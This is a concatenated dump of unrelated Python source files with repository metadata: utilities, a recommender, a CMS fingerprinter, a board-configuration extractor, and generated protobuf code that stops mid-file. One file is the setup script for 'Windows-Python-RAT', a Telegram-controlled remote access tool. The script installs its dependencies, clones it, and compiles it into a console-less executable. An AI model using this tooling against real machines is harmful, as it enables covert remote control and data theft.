# -*- Mode:Python;indent-tabs-mode:nil; -*- # # ModuleLoader.py # # Loads python modules. # # Author: jju / VTT Technical Research Centre of Finland Ltd., 2016 # import os import json import logging # Modules filename moduleFile = None def init( filename ): global moduleFile moduleFile = filename def _loadModule( path ): """ First converts 'path' from file path representation to Python module name, i.e., removes file extension, converts slashes to dots, and removes . or .. from the start of the path if any (thus, paths will be relative to this directory). """ path = path.strip() path = os.path.normpath( path ) if path.endswith( '.py' ): path = path[:-3] changed = True while changed: changed = False while path.startswith( '.' ): path = path[1:] changed = True while path.startswith( '/' ): path = path[1:] changed = True name = path.replace( '/', '.' ) logging.info( 'Loading: ' + name ) module = __import__( name, fromlist=[ '' ] ) return getattr( module, 'module' ) def load( name ): """ Loads a module by name 'name' if one is listed in the modules file. Returns content of the variable called 'module' which should contain the module class declaration. If anything goes wrong, None is returned. """ logging.info( 'Searching module: ' + moduleFile ) try: with open( moduleFile, 'r' ) as config: data = json.load( config ) modules = data[ 'modules' ] for module in modules: moduleName = module[ 'name' ] logging.info( 'Scanning: ' + moduleName ) if moduleName == name: logging.info( 'Found module: ' + name + ' (' + module[ 'module' ] + ')' ) return _loadModule( module[ 'module' ] ) except Exception as e: logging.warning( 'Module loading failed: ' + str( e ) ) return None
29.371429
69
0.571012
754b71a80ece816849280a5acd5b4bcf04082713
1,366
py
Python
python/tutlibs/utils.py
Obarads/Point_Cloud_Tutorial
faf7ae8abf962ecea414cc7557dc35f4fca0e406
[ "MIT" ]
1
2021-11-22T10:32:49.000Z
2021-11-22T10:32:49.000Z
python/tutlibs/utils.py
Obarads/Point_Cloud_Tutorial
faf7ae8abf962ecea414cc7557dc35f4fca0e406
[ "MIT" ]
1
2021-12-09T14:39:51.000Z
2021-12-09T14:39:51.000Z
python/tutlibs/utils.py
Obarads/Point_Cloud_Tutorial
faf7ae8abf962ecea414cc7557dc35f4fca0e406
[ "MIT" ]
null
null
null
import time import numpy as np import torch def single_color(color, num_points:int): """ Args: color: RGB (3) or color code num_points: number of points Return: color poinsts: (num_points, 3) """ if type(color) == str: color = np.array([int(color[1:3],16), int(color[3:5],16), int(color[5:7],16)]) return np.tile([color], (num_points, 1)) def color_range_rgb_to_8bit_rgb(colors:np.ndarray, color_range:list=[0, 1]): # Get color range of minimum and maximum min_color = color_range[0] max_color = color_range[1] # color range (min_color ~ max_color) to (0 ~ max_color-min_color) colors -= min_color max_color -= min_color # to 0 ~ 255 color range and uint32 type colors = colors / max_color * 255 colors = colors.astype(np.uint32) return colors def rgb_to_hex(rgb): hex = ((rgb[:, 0]<<16) + (rgb[:, 1]<<8) + rgb[:, 2]) return hex def time_watcher(previous_time=None, print_key=""): current_time = time.time() if previous_time is None: print('time_watcher start') else: print('{}: {}'.format(print_key, current_time - previous_time)) return current_time def t2n(torch_tensor:torch.Tensor) -> np.ndarray: """torch.Tensor to numpy.ndarray """ return torch_tensor.detach().cpu().numpy()
26.784314
76
0.625183
f33367408b20eaa6e98db157ed79724dd83ccb32
7,140
py
Python
Windows-Python-RAT-mater/Setup.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
Windows-Python-RAT-mater/Setup.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
Windows-Python-RAT-mater/Setup.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
######################################################### # Windows-Python-RAT Setup # # [R]emote [A]dministrator [T]ool # # GitHub: https://github.com/Windows-Python-RAT # # ##################################################### # # Coded By Sir.4m1R (Amir Hossein Yeganeh) # # Telegram: @Sir4m1R # # Email: [email protected] # # ##################################################### # # Developed By Hanieh Panahi # # Telegram: @Hanie0101 # # ##################################################### # # The404Hacking # # Digital Security ReSearch Group # # ##################################################### # # Telegram: https://Telegram.me/The404Hacking # # Instagram: https://instagram.com/The404Hacking # # Aparat: http://aparat.com/The404Hacking # # YouTube: http://yon.ir/youtube404 # # GitHub: https://github.com/The404Hacking # # LahzeNegar https://lahzenegar.com/The404Hacking # # Email: [email protected] # ######################################################### import os import platform import urllib def clear(): linux = 'clear' windows = 'cls' os.system([linux, windows][os.name == 'nt']) clear() print "\n [***] Please wait ...\n\n" #data = urllib.urlopen("https://api.ipify.org/") #ip = data.read() #os.system("python -m pip install wget") clear() banner = '\n' banner += ' Hi '+platform.uname()[1]+' !\n' #banner += ' Your IP: '+ip+' !\n' banner += ' WelCome to Windows-Python-RAT Setup.\n' banner += ' ------------------------------------\n' banner += ' Coder: Sir.4m1R (@Sir4m1R)\n' banner += ' --------------------------\n' banner += ' The404Hacking\n' banner += ' Digital Security ReSearch Group\n' banner += ' ------------------------------------\n' banner += ' Select a Options:\n' banner += ' [1] Install Module.\n' banner += ' [2] Clone again [for Linux].\n' banner += ' [3] Report Bug.\n' banner += ' [4] Create Bot.\n' banner += ' [5] Compile py File [pyinstaller].\n' banner += ' [6] Windows-Python-RAT GitHub.\n' banner += ' [7] About.\n' banner += ' [0] Exit.\n' print banner number = input(" [?] WinRAT-Setup~# ") if number == 1: clear() print "\n [***] Please wait ...\n\n" os.system("python -m pip install --upgrade pip") os.system("python -m pip install python-telegram-bot") os.system("python -m pip install pyttsx") os.system("python -m pip install autopy") os.system("python -m pip install pyinstaller") print '\n\n [+] Installation Completed !\n' quit() elif number == 2: clear() if os.name == "nt": print "\n [***] Please wait ...\n\n [X] Error !\n [!] This Method for Linux and Run in Linux Machine !\n" quit() elif os.name != "nt": print "\n [***] Please wait ...\n\n" os.system("git clone https://github.com/The404Hacking/Windows-Python-RAT.git") print '\n\n [+] Windows-Python-RAT Cloned !\n Git: https://github.com/The404Hacking/Windows-Python-RAT\n' quit() elif number ==3: clear() reportbug = ''' Hi ! For Reporting a Bug, Send Mail to: [email protected] or Send Message to Telegram: https://T.me/Sir4m1R ''' print reportbug quit() elif number == 4: clear() createbot = ''' Hi Create Telegram Bot with @BotFather ----------------------------------- [1] Go to https://t.me/BotFather and Send /start Command. [2] Type a Name and Send to BotFather [3] Select a Username. It must end in 'bot'. (Ex: Samplebot or Sample_bot) [4] BotFather send for you a API-TOKEN. (Ex: 549710235:AAF-cjA1A-upWOZs8y96Qv2AMpQrGJLH6Xo) [+] Good :D, Replace Your API-Token in Windows-Python-RAT.py ! (Line: 35) ''' print createbot def edit(): linux = 'gedit Windows-Python-RAT.py' windows = 'notepad Windows-Python-RAT.py' os.system([linux, windows][os.name == 'nt']) edit() quit() elif number == 5: clear() installer = ''' Welcome to Compiler [PyInstaller] --------------------------------- Select a Method: [1] Console [2] No-Console''' print installer num = input("\n [?] WinRAT-Setup~# ") if num == 1: print "\n Console Method:" iconadrs = raw_input(" [?] Icon [*.ico] Address: ") pyadrs = raw_input(" [?] Python [*.py] Address: ") pyname = raw_input(" [?] Python File [*.py] Name: ") print "\n [***] Please wait ...\n\n" os.system("pyinstaller -i "+iconadrs+" -F "+pyadrs) exe1 = pyname rexe = exe1.replace(".py" , "") clear() address1 = '\n [Ok] Python Script Console Compile Successfully !\n [+] Directory: \dist\n [+] File: {}.exe\n\n'.format(rexe) print address1 quit() elif num == 2: print "\n No Console Method:" iconadrs2 = raw_input(" [?] Icon [*.ico] Address: ") pyadrs2 = raw_input(" [?] Python [*.py] Address: ") pyname2 = raw_input(" [?] Python File [*.py] Name: ") print "\n [***] Please wait ...\n\n" os.system("pyinstaller -i "+iconadrs2+" --noconsole -F "+pyadrs2) exe2 = pyname2 rexe2 = exe2.replace(".py" , "") #clear() address2 = '\n [Ok] Python Script No-Console Compile Successfully !\n [+] Directory: \dist\n [+] File: {}.exe\n\n'.format(rexe2) print address2 quit() else: quit() elif number == 6: clear() txtgit = ''' Hi ! Windows-Python-RAT ------------------ Download or Clone This RAT in Your Machine :) Select a options: [1] Clone [for Linux] [2] Download [for Windows] ''' print txtgit numbr = input(" [?] WinRAT-Setup~# ") if numbr == 1: clear() print "\n [***] Please wait ...\n\n" os.system("git clone https://github.com/The404Hacking/Windows-Python-RAT.git") print "\n\n [+] Clone Successfully !\n" quit() elif numbr == 2: print "\n [***] Please wait ...\n\n" os.system("start https://github.com/The404Hacking/Windows-Python-RAT/master/archive.zip") print "\n\n [+] Download Successfully !\n" quit() else: quit() elif number == 7: clear() about_text = "\n" about_text += " Hi "+platform.uname()[1]+" !\n" about_text += " WelCome to Windows-Python-RAT About :)\n" about_text += "\n" about_text += " This RAT Created by Sir.4m1R.\n" about_text += " This is a RAT for Computer Hacking and Infiltration with Microsoft Windows\n Operating Systems.\n" about_text += "\n" about_text += " Using this tool, you can easily perform the Penetration Test on Windows\n and get the commands that are registered in the management robot to get\n the Information you want from the Control Panel Robot (Robot management RAT).\n" about_text += "\n" about_text += " This RAT is controlled by a robot in the Telegram. For the robot to work\n and send Information and logs to you in a telegram, you just have to create\n a Robot in the Telegram with @BotFather robot.\n" about_text += "\n" about_text += "\n" about_text += " Powered By Sir.4m1R.\n" about_text += " Developed By Hanieh Panahi\n" about_text += " Copyright (C) 2018 The404Hacking.\n" print about_text elif number == 0: print "\n Good Bye "+platform.uname()[1]+" :)\n" else: print " Error !" quit()
35
245
0.57381
f355fd5f79afcf7fb8f12d84de6e2db45aaa9888
1,066
py
Python
SleekSecurity/layers/plugins/fingerprint/cms/magento.py
GitInitDev/ZohoUniv
966704837e65f58b52492b56d08e7958df3d220a
[ "Unlicense" ]
null
null
null
SleekSecurity/layers/plugins/fingerprint/cms/magento.py
GitInitDev/ZohoUniv
966704837e65f58b52492b56d08e7958df3d220a
[ "Unlicense" ]
null
null
null
SleekSecurity/layers/plugins/fingerprint/cms/magento.py
GitInitDev/ZohoUniv
966704837e65f58b52492b56d08e7958df3d220a
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python # -*- coding:utf-8 -*- # # @name: Wascan - Web Application Scanner # @repo: https://github.com/m4ll0k/Wascan # @author: Momo Outaadi (M4ll0k) # @license: See the file 'LICENSE.txt' from re import search,I def magento(headers,content): _ = False if 'set-cookie' in headers.keys(): _ |= search(r"magento=[0-9a-f]+|frontend=[0-9a-z]+",headers["set-cookie"],I) is not None _ |= search(r"images/logo.gif\" alt\=\"Magento Commerce\" \/\>\<\/a\>\<\/h1\>",content) is not None _ |= search(r"\<a href\=\"http://www.magentocommerce.com/bug-tracking\" id\=\"bug_tracking_link\"\>\<strong\>Report All Bugs\<\/strong\>\<\/a\>",content) is not None _ |= search(r"\<link rel\=\"stylesheet\" type\=\"text/css\" href\=\"[^\"]+\/skin\/frontend\/[^\"]+\/css\/boxes.css\" media\=\"all\"",content) is not None _ |= search(r"\<div id\=\"noscript-notice\" class\=\"magento-notice\"\>",content) is not None _ |= search(r"Magento is a trademark of Magento Inc. Copyright &copy; ([0-9]{4}) Magento Inc",content) is not None if _ : return "Magento"
53.3
166
0.636961
34081112ff37fad32ae043f090c935ffcb417ffb
2,125
py
Python
recommend.py
Bharat23/medium-tags
d92292852eb8b5abbc0dca40fb692308ba985c02
[ "MIT" ]
null
null
null
recommend.py
Bharat23/medium-tags
d92292852eb8b5abbc0dca40fb692308ba985c02
[ "MIT" ]
null
null
null
recommend.py
Bharat23/medium-tags
d92292852eb8b5abbc0dca40fb692308ba985c02
[ "MIT" ]
null
null
null
import pandas as pd from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics.pairwise import linear_kernel from sklearn.feature_extraction.text import CountVectorizer from sklearn.metrics.pairwise import cosine_similarity # Return the top recommendations for an article def get_recommendations(data, indices, title, cosine_sim): index = indices[title] # Compute the pairwsie similarity scores of all articles and sort them based on similarity sim_scores = list(enumerate(cosine_sim[index])) sim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True) # Get the top 5 articles and return them sorted by number of claps sim_scores = sim_scores[1:10] article_indices = [i[0] for i in sim_scores] return data.iloc[article_indices].sort_values(by=['recommends']) def main(): #import os #os.chdir("C:\\Users\\Ramya Ananth\\Desktop\\medium") data = pd.read_csv('medium.csv', low_memory=False) input_article = 'Making the Chart That Best Illustrates My Current Music Listening Habits' # Create a TF-IDF vectorizer and remove stopwords and NaN tfidf = TfidfVectorizer(stop_words='english') data['text'] = data['text'].fillna('') # Construct TF-IDF matrix and cosine similarity matrix (for looking at text only) tfidf_matrix = tfidf.fit_transform(data['text']) cosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix) # Taking into account post tags count = CountVectorizer(stop_words='english') count_matrix = count.fit_transform(data['post_tags']) cosine_sim2 = cosine_similarity(count_matrix, count_matrix) indices = pd.Series(data.index, index=data['title']).drop_duplicates() text_only = get_recommendations(data, indices, input_article, cosine_sim) text_and_tags = get_recommendations(data, indices, input_article, cosine_sim2) print("Input article:", input_article) print("\nText similarity recommendations:") print(text_only['title'].values) print("\nText and tag similarity recommendations:") print(text_and_tags['title'].values) if __name__ =='__main__': main()
41.666667
94
0.745882
340f3bb7cae002dea84bd4a30469a974f0f8461a
329
py
Python
Online-Judges/DimikOJ/Python/50-left-right.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
3
2021-06-15T01:19:23.000Z
2022-03-16T18:23:53.000Z
Online-Judges/DimikOJ/Python/50-left-right.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
null
null
null
Online-Judges/DimikOJ/Python/50-left-right.py
shihab4t/Competitive-Programming
e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be
[ "Unlicense" ]
null
null
null
for _ in range(int(input())): string = input() new_str= "" new_str += string[0] for i in range(1, len(string)): if string[i] == "L": on = string[i-1] elif string[i] == "R": on = string[i+1] else: on = string[i] new_str += on print(new_str)
23.5
35
0.449848
caff5da55fd6e9c21687b102bb648a220c24a1a4
932
py
Python
src/BallTracker/reward.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
src/BallTracker/reward.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
src/BallTracker/reward.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
# reward.py: # Klasse, um Reward-Daten zu erfassen und weiterzugeben # wird importiert von der Main-Appliukation und der rewardTracker Class # # import threading # required for lock class Reward: def __init__(self): self._lock = threading.Lock() self.isNew = False # True, iff new Value is written self.delta = (0.0, 0.0,) # vector to indicate difference # set new Delta, if different, set isNew to True def setDeltaIfDifferent(self, newDelta): with self._lock: if self.delta != newDelta: self.delta = newDelta self.isNew = True return # returns delta if new, otherwise returns False, sets isNew to False def getDeltaIfNew(self): with self._lock: if self.isNew: self.isNew = False return self.delta else: return None # das ist schon alles
27.411765
72
0.604077
1b3ae12d49142ebf99ca574df7d857b13684ea3e
5,456
py
Python
autojail/commands/extract.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
6
2020-08-12T08:16:15.000Z
2022-03-05T02:25:53.000Z
autojail/commands/extract.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-03-30T10:34:51.000Z
2021-06-09T11:24:00.000Z
autojail/commands/extract.py
ekut-es/autojail
bc16e40e6df55c0a28a3059715851ffa59b14ba8
[ "MIT" ]
1
2021-11-21T09:30:58.000Z
2021-11-21T09:30:58.000Z
import os import subprocess import sys import tempfile from pathlib import Path from shutil import rmtree from typing import Union import ruamel.yaml from fabric.connection import Connection from ..extract import BoardInfoExtractor, ClockInfoExtractor from ..model import ( ByteSize, ExpressionInt, HexInt, IntegerList, JailhouseFlagList, ) from ..utils import connect, start_board, stop_board, which from .base import BaseCommand class ExtractCommand(BaseCommand): """ Extracts hardware specific information from target board extract {--b|base-folder= : base folder containing relevant /proc/ and /sys/ entries of target board} {--cwd= : current working directory to locate start files, if necessary} """ def handle(self) -> None: base_folder = self.option("base-folder") tmp_folder = False connection = None dtc_path = which("dtc") if dtc_path is None: self.line( "<error>ERROR: Could not find device-tree compiler (dtc) in $PATH</error>" ) self.line( "Please install device-tree compiler or set $PATH accordingly" ) sys.exit(-1) assert self.autojail_config is not None try: if not base_folder or not Path(base_folder).exists(): self.line( f"Extracting target data from board {self.autojail_config.login}" ) cwd = self.option("cwd") start_board(self.autojail_config, cwd) try: connection = connect( self.autojail_config, self.automate_context ) if not base_folder: base_folder = tempfile.mkdtemp(prefix="aj-extract") tmp_folder = True self._sync(connection, base_folder) finally: stop_board(self.autojail_config, cwd) else: self.line(f"Extracting target data from folder {base_folder}") extractor = BoardInfoExtractor( self.autojail_config.name, self.autojail_config.board, base_folder, ) board_data = extractor.extract() with (Path.cwd() / self.BOARD_CONFIG_NAME).open("w") as f: yaml = ruamel.yaml.YAML() yaml.register_class(HexInt) yaml.register_class(ByteSize) yaml.register_class(IntegerList) yaml.register_class(JailhouseFlagList) yaml.register_class(ExpressionInt) yaml.dump(board_data.dict(), f) finally: if connection: connection.close() if tmp_folder: rmtree(base_folder, ignore_errors=True) def _sync( self, connection: Connection, base_folder: Union[str, Path] ) -> None: assert self.autojail_config base_folder = Path(base_folder) if not base_folder.exists(): base_folder.mkdir(exist_ok=True, parents=True) clock_info_extractor = ClockInfoExtractor(self.autojail_config) clock_info_extractor.prepare() clock_info_extractor.start(connection) try: res = connection.run( "mktemp -d", warn=True, hide="both", in_stream=False ) target_tmpdir = res.stdout.strip() with connection.cd(target_tmpdir): for file_name in self.files: connection.run( f"sudo cp --parents -r {file_name} .", warn=True, hide="both", in_stream=False, ) res = connection.run( f"getconf -a > {target_tmpdir}/getconf.out", in_stream=False, ) res = connection.run( f"sudo /usr/bin/lshw -json > {target_tmpdir}/lshw.json", in_stream=False, warn=True, ) if res.return_code != 0: connection.run( "sudo rm -f {target_tmpdir}/lshw.json", in_stream=False ) res = connection.run( f"sudo /sbin/ip -j addr > {target_tmpdir}/ip_addr.json", in_stream=False, ) connection.run("sudo tar czf extract.tar.gz *", in_stream=False) connection.get( f"{target_tmpdir}/extract.tar.gz", local=f"{base_folder}/extract.tar.gz", ) connection.run(f"sudo rm -rf {target_tmpdir}", in_stream=False) finally: clock_info_extractor.stop(connection) subprocess.run("tar xzf extract.tar.gz".split(), cwd=base_folder) os.unlink(f"{base_folder}/extract.tar.gz") files = [ "/sys/kernel/debug/autojail/clocks", "/sys/kernel/debug/clk/clk_dump", "/sys/bus/pci/devices/*/config", "/sys/bus/pci/devices/*/resource", "/sys/devices/system/cpu/cpu*/uevent", "/sys/firmware/devicetree", "/proc/iomem", "/proc/cpuinfo", "/proc/cmdline", "/proc/ioports", ]
33.268293
101
0.53629
8481dab66f9e2cfb5f4a862bbb515bf2add60cfe
15,837
py
Python
rbac/common/protobuf/task_transaction_pb2.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
75
2018-04-06T09:13:34.000Z
2020-05-18T18:59:47.000Z
rbac/common/protobuf/task_transaction_pb2.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
989
2018-04-18T21:01:56.000Z
2019-10-23T15:37:09.000Z
rbac/common/protobuf/task_transaction_pb2.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
72
2018-04-13T18:29:12.000Z
2020-05-29T06:00:33.000Z
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: task_transaction.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor.FileDescriptor( name='task_transaction.proto', package='', syntax='proto3', serialized_options=None, serialized_pb=_b('\n\x16task_transaction.proto\"\xde\x01\n\x13ProposeAddTaskOwner\x12\x13\n\x0bproposal_id\x18\x01 \x01(\t\x12\x0f\n\x07task_id\x18\x02 \x01(\t\x12\x0f\n\x07next_id\x18\x03 \x01(\t\x12\x0e\n\x06reason\x18\x04 \x01(\t\x12\x34\n\x08metadata\x18\x05 \x03(\x0b\x32\".ProposeAddTaskOwner.MetadataEntry\x12\x19\n\x11\x61ssigned_approver\x18\x06 \x03(\t\x1a/\n\rMetadataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"\xde\x01\n\x13ProposeAddTaskAdmin\x12\x13\n\x0bproposal_id\x18\x01 \x01(\t\x12\x0f\n\x07task_id\x18\x02 \x01(\t\x12\x0f\n\x07next_id\x18\x03 \x01(\t\x12\x0e\n\x06reason\x18\x04 \x01(\t\x12\x34\n\x08metadata\x18\x05 \x03(\x0b\x32\".ProposeAddTaskAdmin.MetadataEntry\x12\x19\n\x11\x61ssigned_approver\x18\x06 \x03(\t\x1a/\n\rMetadataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"\xa9\x01\n\nCreateTask\x12\x0f\n\x07task_id\x18\x01 \x01(\t\x12\x0c\n\x04name\x18\x02 \x01(\t\x12\x0e\n\x06\x61\x64mins\x18\x03 \x03(\t\x12\x0e\n\x06owners\x18\x04 \x03(\t\x12+\n\x08metadata\x18\x05 \x03(\x0b\x32\x19.CreateTask.MetadataEntry\x1a/\n\rMetadataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x62\x06proto3') ) _PROPOSEADDTASKOWNER_METADATAENTRY = _descriptor.Descriptor( name='MetadataEntry', full_name='ProposeAddTaskOwner.MetadataEntry', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='key', full_name='ProposeAddTaskOwner.MetadataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='value', full_name='ProposeAddTaskOwner.MetadataEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=_b('8\001'), is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=202, serialized_end=249, ) _PROPOSEADDTASKOWNER = _descriptor.Descriptor( name='ProposeAddTaskOwner', full_name='ProposeAddTaskOwner', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='proposal_id', full_name='ProposeAddTaskOwner.proposal_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='task_id', full_name='ProposeAddTaskOwner.task_id', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='next_id', full_name='ProposeAddTaskOwner.next_id', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='reason', full_name='ProposeAddTaskOwner.reason', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='metadata', full_name='ProposeAddTaskOwner.metadata', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='assigned_approver', full_name='ProposeAddTaskOwner.assigned_approver', index=5, number=6, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_PROPOSEADDTASKOWNER_METADATAENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=27, serialized_end=249, ) _PROPOSEADDTASKADMIN_METADATAENTRY = _descriptor.Descriptor( name='MetadataEntry', full_name='ProposeAddTaskAdmin.MetadataEntry', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='key', full_name='ProposeAddTaskAdmin.MetadataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='value', full_name='ProposeAddTaskAdmin.MetadataEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=_b('8\001'), is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=202, serialized_end=249, ) _PROPOSEADDTASKADMIN = _descriptor.Descriptor( name='ProposeAddTaskAdmin', full_name='ProposeAddTaskAdmin', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='proposal_id', full_name='ProposeAddTaskAdmin.proposal_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='task_id', full_name='ProposeAddTaskAdmin.task_id', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='next_id', full_name='ProposeAddTaskAdmin.next_id', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='reason', full_name='ProposeAddTaskAdmin.reason', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='metadata', full_name='ProposeAddTaskAdmin.metadata', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='assigned_approver', full_name='ProposeAddTaskAdmin.assigned_approver', index=5, number=6, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_PROPOSEADDTASKADMIN_METADATAENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=252, serialized_end=474, ) _CREATETASK_METADATAENTRY = _descriptor.Descriptor( name='MetadataEntry', full_name='CreateTask.MetadataEntry', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='key', full_name='CreateTask.MetadataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='value', full_name='CreateTask.MetadataEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=_b('8\001'), is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=202, serialized_end=249, ) _CREATETASK = _descriptor.Descriptor( name='CreateTask', full_name='CreateTask', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='task_id', full_name='CreateTask.task_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='name', full_name='CreateTask.name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, 